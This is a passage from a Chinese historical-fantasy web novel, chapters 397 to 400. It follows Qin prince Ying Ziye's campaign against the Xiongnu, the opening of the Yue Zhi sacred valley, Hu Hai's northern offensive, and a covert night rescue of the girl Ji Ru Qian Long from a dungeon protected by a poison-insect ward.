他浑浊的双眼在幽蓝火光下显得深不见底,声音苍老而沙哑,带着一种古老的韵律。
“大王,圣地乃月神赐福之地,亦是先**眠之所。”
“祖训有言,其中蕴藏着足以扭转乾坤之力!”
“然,具体为何……老朽亦不知晓。”
“历代唯有口口相传,非**灭种之危,万不可惊扰圣地,开启那尘封之力。”
他顿了顿,骷髅法杖微微抬起,指向密室墙壁上一幅模糊的,刻画着连绵山峦与一轮巨大弯月的壁画。
“圣地,位于‘葬月谷’深处,距王庭三百里,入口隐秘,非特定时辰,特定血脉,无法寻得,更无法开启。”
乌孙陀罗顺着他的指引看去。
那壁画在幽光下仿佛活了过来!
透着一股神秘而苍凉的气息!
“葬月谷……”
他喃喃自语,眼中闪过一丝决绝。
“无论多远,多难,都必须去!”
“大月氏……不能亡在我手里!”
大萨满微微颔首,骷髅法杖在地上重重一顿,发出“咚”的一声闷响,回荡在密室中。
“开启圣地,需‘十二圣士’随行护卫,并以血为引。”
“十二圣士?”
乌孙陀罗看向大萨满。
“乃历代侍奉月神,身负特殊血脉的守护者,亦是老朽麾下最强的战士。”
大萨满语气中带着一丝不易察觉的傲然。
“他们分散潜修于王庭各处秘地,唯有圣地召唤,方会现身。”
“他们的血脉,是唤醒圣地屏障,叩开传承之门的……钥匙!”
钥匙。
乌孙陀罗心脏猛地一跳!
他没想到开启圣地竟如此苛刻,需要十二名特殊血脉的强者!
这更让他确信,圣地之中,必然隐藏着难以想象的伟力。
“好!立刻召集十二圣士!”
乌孙陀罗几乎是吼出来的,他脸上因为激动和紧张而泛起不正常的潮红!
“无论圣地中是什么,是神兵利器,是上古军团,还是通天秘法!”
“只要能助我大月氏渡过此劫,击退秦狗和匈奴狼,本王都在所不惜!”
大萨满深深看了他一眼。
那眼神复杂难明,有忠诚,有担忧,更有一种对未知力量的敬畏。
他缓缓躬身。
“老臣……遵命。”
“这就以秘法召唤十二圣士。”
“三日后,月圆之夜,便是启程之时。”
乌孙陀罗重重吐出一口浊气,仿佛将所有的希望都寄托在了那虚无缥缈的圣地传说之上。
他望着壁画上那轮冰冷的弯月,握紧了拳头,指甲深深掐入掌心。
“先祖庇佑……望圣地之力,真能挽我大月氏于即倒!”
第397章 此线,进可攻,退可断!
数日之余。
原大月氏边境重镇“石堡城”。
如今已成为赢子夜在西域的前线指挥中枢。
府衙大堂内,烛火通明.
巨大的西域沙盘占据了中央位置,上面密密麻麻地插着代表各方势力的小旗。
蒙犽的伤势经过数日调养,已好了不少。
虽左臂仍用绷带吊着,但精神矍铄。
他站在沙盘前,用那尚好的右臂指点着,向端坐主位的赢子夜详细禀报。
“殿下,粮道畅通后,我军士气大振!”
“根据您的部署,李信将军分兵数路,趁大月氏国内混乱,已成功夺取‘凤鸣谷’、‘赤沙堡’等七处战略要地!”
他的手指在沙盘上划过,将新插上的黑色小旗区域连成一片。
“目前,我军实际控制区域已向西推进二百余里,初步构建起一道弧形防线。”
他的手指随即移向西北方向。
那里**着大量的灰色狼头小旗,神色转为凝重。
“据斥候反复探查,匈奴主力在头曼率领下,攻占赤石隘后,并未急于深入大月氏腹地。”
“而是以此为中心,连同其之前反叛占据的几座城池,构成了一个相对集中的防御态势。”
“你们看——”
蒙犽的指尖重点圈出几个位置。
“赤石隘地势险要,易守难攻,是头曼的中军所在。”
“其左翼‘狼牙丘’,右翼‘秃鹫岭’,皆驻有重兵,互为犄角。”
“后方‘黄沙口’也有精锐骑兵游弋策应。”
“其部署看似保守,却占尽了地利,将大军缩成一团,犹如刺猬,显然是防备着我军趁其立足未稳发起突袭。”
他抬起头,看向赢子夜,眼中闪烁着军人的锐利与战意。
“殿下,匈奴人虽众,但初占此地,人心未附,防线看似严密,实则各据点之间联系必然存在空隙。”
“末将以为,我军可集中优势兵力,选择其一点,例如相对孤立的‘狼牙丘’,以雷霆之势猛攻!”
“只要撕开一道口子,便可动摇其整体部署,甚至引起链式崩溃,将其彻底打散,分而歼之!”
这个提议颇具攻击性。
也符合蒙犽一贯的作战风格。
帐内不少将领闻言都微微颔首,觉得可行。
就在这时。
一道黑影悄无声息地出现在大堂角落,正是负责与逆流沙联络的暗河成员!
他低声道。
“主上,卫庄先生传来消息。”
“墨麒麟潜伏大月氏王庭探知,乌孙陀罗与那名大萨满,近日行动诡秘,似乎在筹备开启一处名为‘圣地’的禁地。”
“据传,那是大月氏最后的底牌,但具体圣地之中有何物,尚无法查明。”
“圣地?”
蒙犽眉头一皱。
“故弄玄虚!”
“败军之将,还能有什么翻盘手段?”
赢子夜却一直静静听着,手指无意识地敲击着座椅扶手,目光始终没有离开沙盘。
当听到“圣地”二字时,他眼中闪过一丝异色!
待蒙犽说完,他才缓缓抬起头,看向蒙犽,摇了摇头。
“蒙将军,你的策略勇猛果决,若在平日,或可一试。”
“但此刻,并非上策。”
他站起身,走到沙盘前,目光扫过那团**的灰色旗帜,语气平静却带着一种洞悉全局的深邃。
“匈奴人,生于马背,长于草原,劫掠如风,攻坚守城……非其所长。”
“头曼将兵力如此集中,看似稳妥,实则是以己之短,迎我所长。”
“我军若强攻其重兵布防的坚固据点,即便能胜,也必是杀敌一千,自损八百的惨胜。”
“如今西域初定,我军需要的是休养生息,稳固根基,而非与匈奴在此地拼消耗。”
他的手指离开那团灰色,缓缓向西北方向移动,越过了匈奴的防线。
落在了更外围,靠近大月氏与草原接壤的一片区域。
那里,也有几座插着灰色小旗的城池,但分布相对松散。
“更何况,”
赢子夜的目光变得幽深。
“乌孙陀罗不惜在国内局势如此动荡之时,也要开启那所谓的‘圣地’,其中所藏,即便不是毁天灭地的力量,也必然是他认为足以扭转战局的倚仗。”
“我们何必急着去当这个出头鸟,与匈奴死磕,让大月氏在旁边看戏,甚至坐收渔利?”
蒙犽似乎有些明白了。
“殿下的意思是……?”
赢子夜的指尖最终重重地点在沙盘上一条蜿蜒的线路上。
那是一条位于匈奴主力集团西北侧后方的补给与退路通道。
沿着这条线路,有几座匈奴兵力相对薄弱的边境城池。
正是风啸谷、黑水城等地!
“我们的目标,不是去
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啃头曼这块硬骨头。”
赢子夜的声音带着一种冰冷的决断。
“而是这里!”
他手指顺着那条线路狠狠一划。
“集中精锐,绕过匈奴主力正面防线,沿着这条路线,给本公子猛攻这些城池!”
“以最快的速度,将它们全部拿下!”
他抬起头,眼中精光四射,扫过帐内所有将领。
“拿下这些城池,便等同于斩断了头曼大军与草原老巢联系的最便捷通道,彻底断了他们的退路和一部分补给来源!”
“届时,头曼十几万大军,将被我们和大月氏疆域夹在中间,前有坚城,后路被断!”
“他要么回头与我来争夺这条生命线,要么就只能被我们驱赶着,更加深入大月氏腹地!”
赢子夜的嘴角勾起一抹冷酷的弧度。
“大月氏如今虽弱,但困兽犹斗,更何况乌孙陀罗还指望着那‘圣地’翻盘。”
“一旦头曼被我们逼得与大月氏残余势力正面碰撞,两虎相争,必有一伤!”
“而我大秦,便可坐山观虎斗,静待其两败俱伤!”
他最后补充道,手指在沙盘上划出一个巨大的包围态势。
“而且,一旦我们彻底控制了这条西北外侧路线,便等同于在北疆匈奴主力的侧翼,钉下了一颗致命的楔子!”
“待北疆王贲将军那边战事明朗,我军便可由此出击,与北疆主力前后夹击,将匈奴彻底锁死在这西域之地,一举平定北患!”
这一连串的分析与布局,环环相扣,深谋远虑!
不仅仅着眼于眼前的战术胜利,更关乎整个帝国北疆与西域的战略大局。
帐内顿时一片寂静!
所有人都被赢子夜这宏大的战略构想所震撼!
蒙犽怔怔地看着沙盘上那条被赢子夜划出的线路。
又看了看那团被困在中间的灰色旗帜,恍然大悟!
脸上露出了无比钦佩的神色,抱拳躬身,声音带着激动与叹服。
“殿下深谋远虑,末将……远不能及!”
“末将愿为先锋,为殿下拿下风啸谷、黑水城等此路城池!”
“末将等愿往!”
其他将领也纷纷激动**。
赢子夜颔首,目光坚定。
“好!即刻整军,依计行事!”
“此战,不仅要断匈奴后路,更要为我大秦,在西域扎下最稳固的根基!”
第398章 时机已到,前往大月氏王庭!
夜色如墨。
凛冽的朔风卷起戈壁上的沙砾,抽打在疾驰的人马身上,发出噼啪的声响。
一支人数不多却极其精悍的队伍,正如同暗夜中的利箭,悄无声息地划过荒原,直指大月氏王庭的方向。
赢子夜一马当先!
玄色衣袍与夜色几乎融为一体,唯有那双眸子在黑暗中闪烁着冷静而锐利的光芒。
田言紧随其侧,清冷的面容上看不出喜怒,眼神却如鹰隼般警惕地扫视着四周。
身后是数十名气息内敛,行动如鬼魅的暗河精锐,以及百余名沉默如山,甲胄在月光下泛着幽光的魏武卒。
三天前。
墨麒麟通过逆流沙的隐秘渠道。
将一条至关重要的情报送到了赢子夜手中。
阴阳家东君焱妃之女,姬如千泷,就被关押在大月氏王庭的皇宫深处。
几乎在同一时间,另一条消息也证实了。
大月氏王乌孙陀罗,已然带着大萨满,以及传说中身负特殊血脉的“十二圣士”,离开了王庭,前往那虚无缥缈的“圣地”。
王庭内部,权力核心骤然空虚!
“时机到了!”
当时,赢子夜看着手中两份情报,眼中精光一闪。
赵高费尽心机掌控焱妃,其倚仗便是姬如千泷。
如今乌孙陀罗携核心力量离开,赵高及其罗网势力,必然也会将注意力更多地投向“圣地”之事。
王庭内部的防守,尤其是对姬如千泷的看守,很可能出现难得的松懈。
“必须趁此机会,将姬如千泷救出!”
赢子夜没有任何犹豫。
掌控了这个小女孩,就等于握住了让焱妃倒戈的关键钥匙,其战略意义,甚至不亚于一场大战的胜利。
他没有调动大军,那样目标太大,容易打草惊蛇。
而是亲自率领这支由暗河精锐、田言以及部分最可靠的魏武卒组成的快速反应部队,星夜兼程,直扑大月氏王庭。
“再快一点!”
赢子夜低沉的声音在风中传开!
他猛地一夹马腹,战马速度再增。
田言默不作声,同样催动坐骑,紧紧跟随。
他们必须在乌孙陀罗抵达圣地,或者赵高完成对圣地遗迹的图谋之前,完成这次隐秘的救援行动。
“传讯给卫庄。”
赢子夜头也不回地对身旁如同影子般的赵弋苍吩咐道。
“让逆流沙在王庭接应,不惜一切代价,摸清皇宫内所有暗哨、巡逻规律,以及关押姬如千泷的具体位置和守卫力量!”
“我们要像刀一样精准,悄无声息地进去,再带着人出来!”
“诺!”
赵弋苍领命,一道细微的波动自他手中传出,通过特殊的方式向远在王庭的逆流沙传递信息。
队伍在沉默中全速前行,只有马蹄踏碎砾石的声音和呼啸的风声。
每个人的神经都绷紧到了极致!
他们知道,这次行动风险极大,深入虎穴,一旦暴露,将面临整个大月氏王庭守卫和可能存在的罗网高手的围剿。
但赢子夜的眼神没有丝毫动摇。
他望着远方那片在夜色中隐约浮现,代表着大月氏王庭的庞大阴影,心中只有一个念头。
必须成功!!
为了掌控焱妃这张底牌,也为了……
或许能给那个身不由己的阴阳家天才,一个挣脱枷锁,选择未来的机会。
“全速前进!在天亮前,抵达预定位置!”
……
雕阴城。
胡亥的临时行辕内,炭火烧得正旺。
驱散着北疆的寒意,却驱不散胡亥眼中那交织着野心与算计的冷光。
他刚刚听完了斥候关于西域最新战局的详细奏报。
匈奴主力深入大月氏腹地,而他的六哥赢子夜,正率军在大月氏西北边疆攻城略地。
形同切割,试图断匈奴后路。
“呵……”
胡亥发出一声意味不明的轻笑,慵懒地靠在他那张铺着完整白虎皮的座榻上,指尖轻轻敲击着扶手。
“头曼那条老狐狸,果然没安好心。”
“什么盟友,不过是看上了大月氏这块肥肉,想趁着人家病,要人家的命,连皮带骨吞下去罢了。”
“看来,那传说中的遗迹,诱惑力还真是不小!”
他脸上没有丝毫为西域复杂局势担忧的神色,反而带着一种隔岸观火的从容,甚至是一丝幸灾乐祸。
“我那六哥,倒是好算计,想断头曼的后路,坐看匈奴和大月氏鹬蚌相争?”
胡亥嘴角勾起一抹讥诮的弧度。
“想法不错,可惜……头曼若是那么容易对付,也不会成为草原霸主了。”
“那遗迹更是烫手山芋,大月氏视若珍宝,匈奴虎视
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眈眈,六哥想从中得利?”
“哼,三方混战,鹿死谁手,犹未可知!”
他根本不担心赢子夜能轻易获得遗迹。
在他看来,西域已然成了一个巨大的泥潭。
赢子夜、头曼、乌孙陀罗三方纠缠厮杀,无论谁胜谁负,必然都会元气大伤!
而这,正是他胡亥的机会。
“他们的注意力都被西域吸引过去了……”
胡亥缓缓坐直身体,眼中闪烁着狼一般的光芒。
“这北疆,该轮到本公子说话了!”
他猛地站起身,走到悬挂的北疆**前,目光灼灼地扫过上面标注的几座尚在戎族或匈奴小股势力控制下的城池。
这些城池,如同钉子般楔在北疆通往西域和草原的要道上。
“传令!”
胡亥的声音陡然变得尖锐而充满压迫感,带着不容置疑的决断。
“全军出击!目标——狼居胥、图库城、白登塞!”
他的手指狠狠点在地图上的这三个点上,语气带着一种贪婪与狠厉。
“给本公子不惜一切代价,以最快速度拿下这三座城!”
“狼居胥控扼河西,图库城连通漠南,白登塞俯瞰草原!”
“只要这三城在手,北疆命脉便大半掌握在本公子手中!”
“届时,进可呼应西域,退可固守疆土,这北疆的滔天之功,还有谁能与本公子争锋?!”
他猛地转身,看向肃立帐下的心腹将领,脸上是毫不掩饰的野心与杀意。
“告诉下面的人,此战,只许胜,不许败!”
“用最快的速度,最狠的手段,给本公子把城池拿下来!”
“谁敢延误军机,提头来见!”
“末将遵命!”
帐下将领感受到胡亥那近乎疯狂的决心与压迫,齐声怒吼!
胡亥满意地看着麾下将领被自己的意志所点燃,他重新坐回白虎皮榻,端起一杯温好的酒,轻轻晃动着。
眼神望向西域的方向,喃喃自语,声音低得只有自己能听见。
“六哥,你在西域搅动风云,争夺那虚无缥缈的遗迹……也好。”
“你就好好在那里跟头曼、跟乌孙陀罗斗吧。”
“这稳固北疆,开疆拓土的不世之功,就由弟弟我……笑纳了!”
他仰头将杯中酒一饮而尽,脸上露出了胜券在握的冰冷笑容。
第399章 圣地开启!
翌日。
正午的阳光透过稀薄的云层。
勉强洒落在“葬月谷”深处。
这里的气氛与外界截然不同,弥漫着一种亘古的死寂与苍凉。
谷地中央,并非想象中的华丽宫殿或巍峨建筑,而是一片巨大的由不知名黑色巨石垒砌而成的圆形祭坛。
祭坛饱经风霜,表面布满了深刻的裂纹与斑驳的苔痕,散发出古老而蛮荒的气息。
祭坛四周,矗立着十二尊与**等高,形态各异的石雕。
这些石雕并非人形,而是些奇异的异兽或神祇形象。
有的背生双翼,面容狰狞。
有的蛇身人首,眼神空洞。
有的则完全是由扭曲的线条和几何图案构成,充满了抽象与神秘。
它们无声地环绕着祭坛,仿佛自天地初开便已存在于此,默默守护着中心的秘密。
每一尊石雕都透着一股令人心悸的威压!
空气中弥漫着淡淡的硫磺味和一种更难以言喻,仿佛来自远古的低沉嗡鸣。
乌孙陀罗站在祭坛边缘,望着这肃穆而诡异的景象,脸上早已没有了王者的威严,只剩下一种混合着敬畏、渴望与不安的复杂情绪。
他身上的华丽王袍在此地显得格格不入。
“大萨满……”
他的声音带着一丝不易察觉的颤抖。
“这里……便是圣地入口?该如何开启?”
大萨满身披厚重的祭袍,骷髅法杖杵在坚硬的黑色地面上,发出沉闷的响声。
他浑浊的双眼扫过那十二尊沉默的石雕,声音苍老而沙哑,仿佛在与这片古老的土地对话。
“大王,圣地之门,非力可开,需以血为引,以魂为契,唤醒沉睡的守卫。”
他转向身后那十二名静静肃立的身影。
这十二人,便是“十二圣士”!!
他们身着统一的暗红色劲装,脸上覆盖着雕刻有月牙纹路的金属面具,只露出一双双毫无感情波动的眼眸。
他们气息内敛,却隐隐连成一体,周身流淌着一种奇异而同步的能量波动,那便是大萨满所说的特殊血脉之力。
“开始吧。”
大萨满沉声道。
十二圣士没有任何犹豫,同时踏前一步,分别走向一尊石雕。
他们来到石雕面前,单膝跪地,动作整齐划一。
紧接着。
他们同时划破自己的掌心,蕴含着特殊力量的殷红血液滴落在石雕基座之上那早已干涸,几乎难以辨认的古老符文凹槽中。
血液浸入凹槽的瞬间,异变陡生!!
那十二尊沉寂了不知多少岁月的石雕,仿佛被注入了生命。
其表面的苔藓与灰尘簌簌落下,石质的眼眸部位竟隐隐泛起了幽微的光芒。
同时,十二圣士口中开始吟诵起晦涩难懂,音调奇异的古老咒文。
他们周身那股特殊的能量波动如同潮水般涌出,与石雕散发出的幽光逐渐交融、共鸣。
整个祭坛开始微微震动。
地面传来低沉的轰鸣,仿佛有什么庞然大物正在地底苏醒。
祭坛中央原本平整的地面,开始浮现出更加复杂,更加耀眼的巨大光纹。
如同一个缓缓旋转的星辰图谱。
乌孙陀罗紧张地看着这一切,呼吸不由自主地急促起来,拳头紧紧攥着。
希望。
所有的希望。
都寄托在这即将开启的圣地之中了!
然而,他们全然不知,在数百丈外,一处被风蚀岩柱和阴影完美遮蔽的高点上,几双冰冷的眼睛正透过伪装,无声地注视着祭坛上发生的一切。
赵高依旧穿着那身略显陈旧的秦式官袍。
脸上没有任何表情。
唯有那双细长的眼睛里,闪烁着毒蛇般阴冷而贪婪的光芒。
他身后,站着气息晦涩的掩日,以及真刚、魍魉等罗网顶尖**。
“大人,他们开始了。”
“我们何时动手?”
掩日低声问道,声音如同金属摩擦。
赵高轻轻摆了摆手,嘴角勾起一抹一切尽在掌握的冷笑。
“不急。”
“好戏……才刚刚开场。”
“让乌孙陀罗替我们打开这扇门,岂不省力?”
“等圣地真正开启,看清里面到底藏着什么‘惊喜’……再动手不迟。”
他的目光死死盯住那逐渐亮起的祭坛中心光纹,仿佛已经看到了其中隐藏的无上力量与财富。
螳螂捕蝉,黄雀在后。
他赵高,才是那个最有耐心的猎手!!!
……
黄昏时分。
大月氏王城在夕阳余晖下拉出长长的阴影,喧嚣与混乱被高大的城墙勉强隔绝在外。
赢子夜率领的精锐小队,如同滴水入海,悄无声息地潜入了这座气氛紧张的城池。
最终,抵达了逆流沙设在城西一处废弃染坊下的临时据点。
据点内光线昏暗,弥漫着陈旧染料和尘土的气息。
卫庄抱臂倚靠在斑驳的墙壁上,鲨齿剑随意地插在身旁,灰眸淡漠。
赤练把玩着腕间的赤练王蛇,媚眼如丝却暗藏警惕。
白凤立于一根横梁上,身影几乎与阴影融为一体。
隐蝠则倒挂在屋顶角落,宽大的肉翼微微收拢。
见到赢子夜等人进来,卫庄只是微微抬眼,算是打过招呼。
“情况如何?”
赢子夜没有任何寒暄,直接切入主题。
一道几乎透明的虚影在空气中扭曲了一下,墨麒麟如同从墙壁中渗出般悄然现身。
他依旧毫无存在感,声音低沉得近乎耳语,却清晰地汇报着关键信息。
“皇宫舆图已绘制完毕。”
他取出一张精心标注的羊皮卷,在简陋的木桌上铺开。
众人的目光立刻聚焦过去。
墨麒麟的手指精准地点在几个位置。
“地牢位于皇宫西北角,深入地下,仅有南北两个出入口,皆有重兵把守,每班守卫不下五十人,皆是王庭禁军中的好手。”
“地牢内部通道复杂,亦有巡逻守卫,具体数目不详。”
他的手指移开,划过皇宫其他区域。
“禁军主力驻扎于东、南两处大营,巡逻路线固定,但反应迅速。”
“此外,宫中尚有六处供奉殿,居住着大月氏网罗的高手,气息不弱,其中两人,疑似触摸到了天象境的门槛。”
最后,他的指尖重重地点在地牢最深处的一个标记上,语气凝重!
“最关键的是,关押目标的囚室之外,设有极强的巫蛊禁制。”
“我无法靠得太近,但能感受到那股阴邪污秽的力量,寻常手段难以破除,强行触碰必会引发警报,甚至反噬!”
赢子夜静静听着,目光锐利地扫过舆图上的每一个细节,脑中飞速推演。
皇宫守备森严,高手如云,硬闯无
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异于自投罗网。
片刻沉默后,他抬起头,眼神已然恢复了绝对的冷静与决断,开始清晰地下达一道道命令,语速快而沉稳。
“墨麒麟,你继续潜伏宫中,暗中观察各方动向,尤其是那些供奉高手,随时准备接应,必要时制造混乱。”
“赤练,你随我进入地牢。”
“你的蛇,尤其是赤练王蛇,乃至阴至毒之物,或许对那巫蛊禁制有奇效,或能找到其破绽!”
“白凤,隐蝠。”
赢子夜看向梁上与屋顶。
“你们藏于皇宫至高之处,一旦我们在地牢内行动暴露,引发大规模警报,我需要你们在高处制造更大的骚动,吸引并牵制禁军主力,甚至引开一部分宫中高手的注意力。”
“赵弋苍,你带领所有暗河精锐,分散隐匿于皇宫外围预设地点。”
“一旦有敌**者被惊动,试图前往地牢区域增援,不惜代价,给本公子拦住他们!”
“能拦多久是多久!”
“卫庄先生。”
赢子夜看向一直沉默的卫庄。
“劳烦你在皇宫外围,负责最后的接应。”
“我们得手后,会发出信号,届时需要你打开一条撤离的通道,确保我们能迅速脱离王城。”
“田言姑娘,你带领魏武卒精锐行动。”
“墨麒麟到时候会用易容术将我们改扮成禁军模样,混入皇城。”
“进入后,你率魏武卒在地牢入口附近隐蔽待命!”
最后,他的目光变得无比锐利,说出了最关键的行动核心。
“至于地牢入口和内部那重重守卫……想要无声无息尽数解决,几无可能。”
“唯一的办法,就是由我和赤练,想办法潜入囚室附近,尝试破开巫蛊禁制!!”
他顿了顿,语气带着破釜沉舟的决绝。
“一旦我们开始破解禁制,极有可能闹出动静,惊动守卫。”
“届时,守卫必然会涌入地牢内部查看。”
“田言姑娘!”
“在。”
田言清冷应道。
“一旦地牢入口的守卫因内部动静而松懈,或大部分冲入地牢内部时,你立刻率领魏武卒,从他们背后发起突袭!”
“里应外合,打他们一个措手不及,为我们冲出地牢创造机会!”
这一连串的安排,环环相扣,既考虑了潜入的隐秘性,也准备了暴露后的强攻与接应,甚至将可能出现的敌方高端战力也计算在内,可谓周密到了极致!
卫庄听完,嘴角勾起一抹近乎残酷的弧度,似乎对这份大胆而精细的计划颇为欣赏,淡淡吐出一个字。
“可。”
赤练舔了舔红唇,眼中闪过一丝兴奋。
“好久没玩这么刺激的了。”
白凤微微颔首,隐蝠发出低沉的怪笑。
田言郑重点头。
“明白。”
赢子夜环视众人,最后沉声道。
“各自准备,检查装备,熟悉舆图。”
“今夜子时,准时开始行动!”
“诺!”
没有任何多余的废话,所有人立刻行动起来。
墨麒麟开始准备易容材料,赤检查视着她的毒蛇,白凤和隐蝠如同鬼魅般消失,前去勘察皇宫至高点,赵弋苍则低声向暗河精锐传达指令。
废弃的染坊内。
一股无形的紧绷杀意,在黄昏的最后一丝光亮中,悄然弥漫开来……
第400章 被发现了!
子时。
万籁俱寂。
大月氏王宫如同蛰伏在夜色中的巨兽,只有巡逻卫队整齐的脚步声和火把燃烧的噼啪声偶尔打破沉寂。
宫门处,一队“禁军”在墨麒麟假扮的副统领带领下,神情肃穆地交接了班次。
赢子夜和田言等人便混在这支队伍之中。
他们脸上的易容术极其精妙。
不仅改变了容貌,连身形气质都模仿得惟妙惟肖。
盔甲摩擦发出沉闷的声响,与真正的禁军别无二致。
“走!”
墨麒麟压低声音,用纯熟的大月氏语下令,率先向内宫走去。
赢子夜、田言以及挑选出的十余名精锐魏武卒沉默地紧随其后。
皇宫内部甬道深邃,岗哨林立。
每经过一道宫门,都有守卫严格盘查。
墨麒麟显然做足了功课,对答如流,令牌信物一应俱全。
加之他此刻“副统领”的身份,倒也有惊无险地通过了一道道关卡。
然而。
在途径几处看似寂静的宫殿群落时,赢子夜敏锐地感知到,那黑暗的殿宇深处,隐隐传来几股晦涩而强大的气息。
如同沉睡的凶兽,带着令人心悸的压迫感!
那必然就是墨麒麟提到的宫中供奉高手!
他不动声色,只是将气息收敛得更加彻底,如同寻常士卒,低头前行。
田言亦是如此,清冷的眼眸扫过那些黑暗角落,将位置默默记在心中。
越靠近西北角的地牢区域,空气中的氛围越发凝重!
巡逻的队伍明显增多,几乎是五步一岗,十步一哨!
火把的光芒将这片区域照得亮如白昼,几乎没有任何视觉死角!
守卫们眼神锐利,手始终按在刀柄上,显然都是百战精锐。
在地牢那厚重的玄铁大门外,守卫更是森严。
除了两列如同标枪般挺立的持戟甲士,还有数名气息明显不同于普通士兵的武者,眼神开阖间精光闪烁,太阳穴高高鼓起,显然是军中高手!
其中一名身着暗红色皮甲,腰间挎着弯刀的壮汉,气息最为彪悍。
目光如同鹰隼般扫视着每一个靠近的人,其修为至少是指玄境巅峰。
墨麒麟带着队伍,如同例行巡逻般,不紧不慢地靠近地牢区域,与另一支换防的队伍擦肩而过。
就在两支队伍交错,守卫注意力被短暂吸引的刹那!
赢子夜与身旁的赤练,身形如同鬼魅般微微晃动了一下。
没有引起任何空间波动,也没有丝毫气息外泄。
两人就如同两滴融入水流的水珠,借着队伍行进时产生的细微视觉盲区与阴影,瞬间脱离了队伍。
他们的动作快到了极致,仿佛只是光影的一次错觉。
下一刻,已然悄无声息地贴附在了地牢大门侧后方一处视觉死角的阴影里,与冰冷的墙壁几乎融为一体。
整个过程发生在电光火石之间!
连那名指玄境的守卫头领,也只是下意识地觉得刚才那支巡逻队似乎有那么一丝极其微小的不协调。
但仔细看去,一切正常,队伍人数也对。
只当是自己过于紧张产生了错觉,摇了摇头,继续警惕地巡视。
赢子夜和赤练屏住呼吸,感受着近在咫尺的沉重铁门和门外那些精锐守卫散发出的肃杀之气。
成功潜入第一步。
而田言,则按照计划,在队伍即将离开地牢区域时,借着一次自然的转向,带领着那十余名魏武卒精锐,悄无声息地脱离了主干道,隐匿在了地牢外围一处堆放杂物的偏殿阴影之中。
他们如同潜伏的猎豹,收敛了所有声息。
锐利的目光死死盯住地牢入口的方向,等待着里面可能传出的信号,或者……
守卫被惊动的那一刻。
地牢内部。
阴暗潮湿,空气中弥漫着霉味、血腥味,以及一股更令人作呕,属于巫蛊之术的阴邪气息。
墙壁上镶嵌的萤石发出惨绿的光芒,勉强照亮脚下湿滑的石阶和深邃的通道。
赢子夜和赤练如同两道幽灵,沿着墨麒麟地图上标注的路径快速深入。
他们的动作轻盈如猫,落地无声。
偶尔遇到零星的巡逻守卫,根本来不及发出任何警示,便被赢子夜指尖弹出的细微雷弧瞬间洞穿眉心,或者被赤练袖中悄无声息滑出的毒蛇咬中脖颈,顷刻毙命,尸体被迅速拖入阴影角落。
越往深处,那股巫蛊的气息越发浓烈!
通道两侧开始出现一些诡异的壁画,描绘着扭曲的祭祀场景和狰狞的神怪。
地面上偶尔能看到散落的不知名生物的骨骼和干涸的暗色血迹。
终于,他们抵达了地图上标记的最终区域。
一个相对开阔的石室入口。
入口处并无栅栏,取而代之的是一道如同水波般荡漾,半透明的暗紫色能量屏障。
屏障上隐约可见无数细小的毒虫虚影在蠕动、嘶鸣,散发出令人心悸的污秽与不祥。
这便是守护囚室的巫蛊禁制!
而在屏障之外,石室入口的甬道中,更是布满了各种活生生的毒虫!!
色彩斑斓的蜘蛛在墙壁上织网,拳头大小的蝎子举着毒尾窸窣爬行。
还有无数细若发丝,却闪烁着金属光泽的怪虫在地面汇聚成一片蠕动的“地毯”。
“啧啧,还真是下了血本。”
赤练妩媚的脸上露出一丝嫌恶,但眼神却更加兴奋!
她玉手轻挥,袖口中瞬间涌出数十条通体赤红,唯有头顶一点金芒的赤练蛇。
这些灵蛇仿佛天生是这些毒虫的克星,嘶鸣着扑入虫群!
所过之处,毒蜘蛛僵直掉落,蝎子被轻易绞杀,那些细密怪虫更是如同遇到天敌般仓皇退散,让开了一条通道。
然而,就在赤练蛇清理虫群时,异变陡生!
从那暗紫色的能量屏障中,猛地探出一只足有脸盆大小,通体漆黑,甲壳上布满诡异金色纹路的巨蝎!
它那双复眼闪烁着残忍的红光,尾部那根如同弯钩般的**带着撕裂空气的尖啸,快如闪电般刺向赤练。
正是这群巫蛊毒虫中的“毒王”。
“小心!”
赢子夜低喝一声,身形已如电射出!!
他并未拔剑,右手五指张开,紫雷缠绕,后发先至,一把精准无比地抓住了那毒蝎疾刺而来的尾针!
“嗤——!”
雷光与**接触,发出刺耳的腐蚀声。
那毒蝎发出一声尖锐的嘶鸣,尾部猛地挣扎,力量奇大,竟将赢子夜带得一个踉跄!
同时,它张开狰狞的口器,一股浓郁带着腥臭的黑雾喷向赢子夜面门!
“殿下!”
赤练惊呼。<
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br>赢子夜眼神一冷,左手并指如刀,雷光凝聚如实质,悍然斩向黑雾!!
紫雷至阳至刚,正是这等阴邪之物的克星。
雷光过处,黑雾如同冰雪消融般溃散。
但他抓住尾针的右手也感到一股阴寒歹毒的力量顺着手臂经脉侵蚀而来。
“赤练!破禁制,救人!”
赢子夜低吼,周身雷光暴涨,强行压制住那毒王的挣扎和毒素侵蚀,与这凶物缠斗在一起。
每一次碰撞都引得石室震动,雷光与毒雾四溅,动静已然不小。
赤练不敢怠慢,她知道必须速战速决。
她不再理会那些普通毒虫,身形一晃,来到那暗紫色屏障前。
她仔细观察着屏障上能量流动的轨迹和那些毒虫虚影的分布,腕间的赤练王蛇昂起头颅,发出“嘶嘶”的威胁声。
“找到你了!”
赤练眼中精光一闪,玉指如电,点向屏障能量流转的一个关键节点。
同时,赤练王蛇猛地喷出一口极其凝聚的粉色毒雾,精准地侵蚀在那个节点之上。
“嗡——!”
屏障剧烈地波动起来,上面的毒虫虚影发出无声的尖啸,光芒明灭不定。
显然,赤练的方法有效,但强行破解,引发了禁制的剧烈反应!
趁着这个间隙,赤练身形如烟,瞬间穿过了变得不稳定的屏障,冲入了石室内部。
石室不大,中央设有一座石台。
一个穿着素净衣裙,年纪约莫十岁左右的女孩,正抱着双膝,蜷缩在石台角落。
她面容精致,却带着不符合年龄的苍白与惊惧,眼神空洞而迷茫。
正是姬如千泷!!
显然,焱妃已经用某种方法为她解开了部分被封存的记忆,让她忆起了自己是“高月”的过去。
但也因此对周遭的一切充满了不信任和恐惧!
看到突然闯入,一身妖娆邪气的赤练,高月吓得浑身一抖,如同受惊的小鹿般向后缩去,声音颤抖。
“你……你是谁?别过来!”
赤练哪有时间跟她解释。
外面殿下正在苦斗毒王,禁制被破的动静随时会引来大批守卫。
她红唇一撇,不耐道。
“小丫头,没时间废话了!是你娘让我们来救你的!”
说罢,不等高月反应,她指尖弹出一缕细微的粉色烟雾。
高月只觉得一股甜香入鼻,眼前一黑,便软软地倒了下去,失去了意识。
赤练一把将她抄起,夹在腋下,转身就向外冲!
而就在赤练破解禁制,高月昏迷的同一时刻。
